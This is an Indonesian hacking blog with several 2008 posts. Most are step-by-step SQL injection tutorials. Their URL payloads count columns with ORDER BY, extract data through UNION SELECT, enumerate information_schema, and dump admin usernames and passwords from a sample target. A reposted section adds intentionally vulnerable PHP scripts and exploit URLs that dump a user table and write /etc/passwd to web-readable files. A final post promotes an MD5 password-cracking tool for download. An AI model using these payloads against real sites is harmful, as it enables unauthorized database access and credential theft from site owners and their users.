Andi Live Is Here

My Live Is My Future

July 7th, 2008 by Admin

Untuk mencari ada atau tidak bugnya sebenernya ada di artikel sebelumnya, juga standar pencarian union, gue cuma nambahin sedikit aja, jadi gue copy paste aje ye :D

1.) Cek Kutu

Misalkan kita mendapatkan target

http://www.target.com/news.php?id=5

Sekarang kita test ada kutunya g tuh website dengan menambahkan di url’

contoh http://www.target.com/news.php?id=5′

maka akan muncul error

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”

Atau Yang mendekati

Itu berarti kita bisa gunakan Sql Injection

2). Mencari nomor dari kolom

Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY

Kita melakukan perurutan nomor sampai ada error

http://www.target.com/news.php?id=5+order+by+1/* <– no error

http://www.target.com/news.php?id=5+order+by+2/* <– no error

http://www.target.com/news.php?id=5+order+by+3/* <– no error

http://www.target.com/news.php?id=5+order+by+4/* <– error (kita akan mendapatkan pesan seperti Unknown column ‘4′ in ‘order clause’ atau sesuatu seperti itu…ya gitu degh :( )

Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.

Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak erorr terakhir sebelum keluar error.

3). Menggunakan fungsi UNION

Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.

Jadi kita mendapatkan

http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/* (kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)

Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL

http://www.target.com/news.php?id=5+union+select+1,2,3/*

NOTE: jika /* tidak bisa atau terjadi error, coba dengan –

ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.

Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya

kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.

Contoh tampilan : http://www.target.com/news.php?id=5+union+select+1,@@version,3/*

Jika kamu mendapatkan error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

Yang kita butuhkan adalah fungsi convert()

contoh :

http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*

atau dengan hex() dan unhex()

contoh :

http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*

dan kamu akan mendapatan versi MySql :D

5). Mendapatkan table dan nama column

Jika versi MySQL adalah 5 (contoh : 5.0.45, 5.0.51a-community…)

– Mencari Table

Contoh Nomor yang keluar ada 2, jadi kita masukan perintah injekan di nomor 2

http://www.target.com/news.php?id=5+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1/*

Untuk melihat table selanjutnya kita rubah limit+0,1/* menjadi limit+1,1/* lalu limit+2,1/* dst.

Sampai tabel yang dinginkan, contoh table admin

– Mencari Column

Sekarang kita cari column pada table admin

http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=’admin’+limit+0,1/*

Setandarnya bisa menggunakan itu jika quotenya off, tetapi jika quote on nama table harus di encode dengan hexa

admin = 61646D696E

Untuk dapat di baca oleh perintah SQL, harus di tambahakan 0x sihingga menjadi 0×61646D696E

http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0×61646D696E+limit+0,1/*

Untuk melihat colum selanjutnya tinggal merubah limitnya seperti table diatas.

Contoh column yang keluar username dan password

Sekarang kita lihat datanya :D

http://www.target.com/news.php?id=5+union+select+1,username,3+from+admin/*

Contoh data yang keluar : admin

http://www.target.com/news.php?id=5+union+select+1,password,3+from+admin/*

Contoh data yang keluar : p45w0rd

sekarang kita harus menyelesaikan query biar terlihat bagus :)

untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)

contoh :

http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

catatan : 0×3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL

(ada cara lain untuk itu dengan menggunakan, char(58), merupakan dari nilai decimal )

http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*

Maka akan muncul tampilan data : admin:p45w0rd

Untuk mengencrypt bisa dari link di bawah ini

http://andi.lp3i.net/tools/asci.htm

Posted in Hacking | 3 Comments
June 12th, 2008 by Admin

Hihihihii… gue rubah judul doang, aslinya sih tetep sql injection :D

1.) Cek Kutu

Misalkan kita mendapatkan target

http://www.target.com/news.php?id=5

Sekarang kita test ada kutunya g tuh website dengan menambahkan di url ‘

contoh http://www.target.com/news.php?id=5′

maka akan muncul error

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”

Atau Yang mendekati

Itu berarti kita bisa gunakan Sql Injection

2). Mencari nomor dari kolom

Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY

Kita melakukan perurutan nomor sampai ada error

http://www.target.com/news.php?id=5+order+by+1/* <– no error

http://www.target.com/news.php?id=5+order+by+2/* <– no error

http://www.target.com/news.php?id=5+order+by+3/* <– no error

http://www.target.com/news.php?id=5+order+by+4/* <– error (kita akan mendapatkan pesan seperti Unknown column ‘4′ in ‘order clause’ atau sesuatu seperti itu…ya gitu degh :( )

Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.

Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak erorr terakhir sebelum keluar error.

3). Menggunakan fungsi UNION

Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.

Jadi kita mendapatkan

http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/* (kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)

Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL

http://www.target.com/news.php?id=5+union+select+1,2,3/*

NOTE: jika /* tidak bisa atau terjadi error, coba dengan –

ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.

Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya

kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.

Contoh tampilan : http://www.target.com/news.php?id=5+union+select+1,@@version,3/*

Jika kamu mendapatkan error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

Yang kita butuhkan adalah fungsi convert()

contoh :

http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*

atau dengan hex() dan unhex()

contoh :

http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*

dan kamu akan mendapatan versi MySql :D

5). Mendapatkan table dan nama column

Jika versi MySQL adalah < 5 (contoh : 4.1.33, 4.1.12…) <— nanti saya akan menerangkan untuk MySQL > 5 version.

kita harus menebak table dan nama column menurut perkiraan.

jika nama tablenya: user/s, admin/s, member/s …

jika nama kolomnya: username, user, usr, user_name, password, pass, passwd, pwd etc…

contohnya seperti

http://www.target.com/news.php?id=5+union+all+select+1,2,3+from+admin/* (jika kita melihat nomor dua ditampilan, berarti benar table tersebut)

kita tahu tablenya adalah admin…

sekarang kita cek nama column.

http://www.target.com/news.php?id=5+union+all+select+1,username,3+from+admin/* (jika yang keluarnya error, coba nama column yang lain)

kita mendapatkan tampilan username, contohnya seperti admin, atau superadmin dll…

sekarang kita cek column password ada apa tidak

http://www.target.com/news.php?id=5+union+all+select+1,password,3+from+admin/* (jika kamu mendapatkan error, coba nama column yang lain)

kita melihat password di tampilan dalam bentuk hash atau plain-text, itu tergantung dari isi database

contoh md5 hash, mysql hash, sha1…

sekarang kita harus menyelesaikan query biar terlihat bagus :)

untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)

contoh :

http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

catatan : 0×3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL

(ada cara lain untuk itu dengan menggunakan, char(58), merupakan dari nilai decimal )

http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*

URL encrypt di

http://andi.lp3i.net/tools/asci.htm

sekarang kita mendapatkan username:password di tampilan, contoh admin:admin atau admin:somehash

jika kamu mendapatkan itu, kamu bisa login sebagai admin atau superuser :D

jika tidak dapat menebak nama table, kamu bisa selalu mencoba mysql.user (default)

sedangkan columnya user dan password, jadi contohnya seperti

http://www.target.com/news.php?id=5+union+all+select+1,concat(user,0×3a,password),3+from+mysql.user/*

Cukup sudah untuk bagian ini, sekarang kita masuk bagian yang susah

Tapi bersambung ya, tungguin aja mungkin tahun depan :D

Posted in Hacking | 5 Comments
May 21st, 2008 by Admin

-== WEB HACKING IN ACTION PART I==-

PHP - MYSQL : SQL INJECTION
—————————-

(Dumping MySQL Database)

CREATE TABLE `userlist` (
`id` tinyint(6) NOT NULL auto_increment,
`username` varchar(28) NOT NULL,
`status` varchar(28) NOT NULL,
`password` varchar(48) NOT NULL,
`creation_date` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,
`nama_lengkap` varchar(128) NOT NULL,
`status_id` tinyint(6) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;


– Dumping data for table `userlist`

INSERT INTO `userlist` (`id`, `username`, `status`, `password`, `creation_date`, `nama_lengkap`, `status_id`) VALUES
(1, ‘anxx’, ‘administrator’, ‘8a1465884c097cfa30e332c57exxxxxx’, ‘2007-05-15 21:18:08′, ‘anxxx nightlogin’, 1),
(2, ‘kaxxxx’, ‘operator’, ‘8a1465884c097cfa30e332c57xxxxxx’, ‘2007-05-04 21:18:31′, ‘kaxxxx poseidon’, 2),
(3, ‘bxxx’, ‘operator’, ‘b3f85374ebbdb228c0ad76cd6axxxxxx’, ‘2007-05-04 16:51:32′, ‘Bxxx Erlangga’, 2),
(4, ‘haxxx’, ‘operator’, ‘daa526517139536f056efbb8exxxxxx’, ‘2007-05-04 20:13:31′, ‘Haxxx pekok’, 2);

#############
# SEKENARIO 1
#############

<?php
$host=”localhost”;
$user=”xx”;
$passwd=”xxx”;
$dbname=”e-register”;
if(!isset($_GET['id']) OR empty($_GET['id']))
{
die(”Error ndan!!”);
}

$dbid=$_GET['id'];
$conid=mysql_connect($host,$user,$passwd) or die(mysql_error());
mysql_select_db($dbname,$conid) or die(mysql_error());
$query=”SELECT * FROM userlist WHERE id=’$dbid’”;
$res=mysql_query($query) or die(mysql_error());
$row=mysql_fetch_object($res);
if(!$row){
die(mysql_error());
}
echo “Nama : “.$row->nama_lengkap.”<br>”;
echo “Username : “.$row->username.”<br>”;
echo “Status :”.$row->status.”<br>”;
echo “\n”;

?>

Eksploitasi:

http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2′ and ‘a’='a
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2′ union select 1,1,1,1,1,1,1/*
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=-1′%20union%20select%201,username,concat(char(112,97,115,115,119,111,114,100,58),password),1,1,1,1%20from%20userlist%20where%20id=1/*
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2′%20union%20select%20*%20from%20userlist%20into%20outfile%20′/var/www/users/kaiten/PENTEST/db.txt
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=1′%20union%20select%201,1,1,1,1,1,load_file(’/etc/passwd’)%20into%20outfile%20′/var/www/users/kaiten/PENTEST/pwdx.txt’/*

#############
# SEKENARIO 2
#############

<?php
$host=”localhost”;
$user=”xx”;
$passwd=”xxx”;
$dbname=”e-register”;
if(!isset($_GET['id']) OR empty($_GET['id']))
{
die(”Error ndan!!”);
}

$dbid=$_GET['id'];
$conid=mysql_connect($host,$user,$passwd) or die(mysql_error());
mysql_select_db($dbname,$conid) or die(mysql_error());
$query=”SELECT * FROM userlist WHERE id=$dbid”;
$res=mysql_query($query) or die(mysql_error());
$row=mysql_fetch_object($res);
if(!$row){
die(mysql_error());
}
echo “Nama : “.$row->nama_lengkap.”<br>”;
echo “Username : “.$row->username.”<br>”;
echo “Status :”.$row->status.”<br>”;
echo “\n”;
?>

Eksploitasi:

http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2 and 1=0
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2 union select 1,1,1,1,1,1,1
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln2.php?id=-1%20union%20select%201,username,concat(char(112,97,115,115,119,111,114,100,58),password),1,1,1,1%20from%20userlist%20where%20id=1
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2%20union%20select%20*%20from%20userlist%20into%20outfile%20′/var/www/users/kaiten/PENTEST/db.txt’
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln2.php?id=1%20union%20select%201,1,1,1,1,1,load_file(’/etc/passwd’)%20into%20outfile%20′/var/www/users/kaiten/PENTEST/pwd.txt’

#############
# SEKENARIO 3
#############

<?php
$host=”localhost”;
$user=”xx”;
$passwd=”xxx”;
$dbname=”e-register”;
if(!isset($_GET['id']) OR empty($_GET['id']))
{
die(”Error ndan!!”);
}

$dbid=$_GET['id'];
$conid=mysql_connect($host,$user,$passwd) or die(mysql_error());
mysql_select_db($dbname,$conid) or die(mysql_error());
$query=”SELECT * FROM userlist WHERE (id=’$dbid’)”;
$res=mysql_query($query) or die(mysql_error());
$row=mysql_fetch_object($res);
if(!$row){
die(mysql_error());
}
echo “Nama : “.$row->nama_lengkap.”<br>”;
echo “Username : “.$row->username.”<br>”;
echo “Status :”.$row->status.”<br>”;
echo “\n”;

?>

Eksploitasi:

http://172.16.11.xx/~kaiten/PENTEST/sqlvuln3.php?id=1′)%20and%201=1/*
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2′) union select 1,1,1,1,1,1,1/*
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln3.php?id=-1′)%20union%20select%201,username,concat(char(112,97,115,115,119,111,114,100,58),password),1,1,1,1%20from%20userlist%20where%20id=2/*
http://172.16.11.xx/~kaiten/PENTEST/sqlvuln.php?id=2′)%20union%20select%20*%20from%20userlist%20into%20outfile%20′/var/www/users/kaiten/PENTEST/db.txt’/*

Note :
/var/www/users/kaiten/PENTEST/ is world writeable (permission 777)
magic_quotes_gpc = Off
I’a really lamme in SQL injection :((
Author : Ph03n1X
URL : http://kandangjamur.net

NB From Me :

Kalo ada kesalahan dalam artikel yang ini, coba buka yg di bawah ini :D

http://andi.lp3i.net/tools/sql-inject.txt

Posted in Hacking | 3 Comments
March 20th, 2008 by Admin

Gue sendiri belum coba… kalo lo mau coba silahkan :D

Posted in Hacking | No Comments
March 20th, 2008 by Admin

MD5 Password is a password recovery tool for security professionals, which can be used to decrypt a password if its MD5 hash is known. MD5 is an industry standard hash algorithm that is used in many applications to store passwords.

MD5 Password features fast, highly optimized recovery engine that can recover multiple hashes at once: up to 32,000 hashes in the Pro version. The number of hashes being recovered simultaneously does not have significant performance impact. The recovery engine is fully configurable, so you can adjust the recovery options as needed.
Since there is no known way to reverse the MD5 algorithm, MD5 Password provides a number of tools to recover the password:

* Brute Force Attack
* Dictionary Attack
* Hybrid Dictionary Attack
* Smart Force Attack

MD5 Password supports the distributed recovery technology, which allows you to utilize the power of several computers when performing the recovery process, drastically reducing the recovery time.

MD5 Password has a feature-rich user interface that allows you to utilize its functionality with maximum efficiency. The export and import feature can be used to export and import hashes to or from text files and the Report feature is used to generate text reports after the recovery process is completed.

MD5 Password comes in two versions: Standard and Pro. The Standard version can process up to 10 hashes simultaneously and the Pro version has a technical limit of 32,000. There is also a free Demo version that can crack only short passwords (up to 3 characters).

File: MD5.Password-Hashes-Cracker.rar

Posted in Hacking | No Comments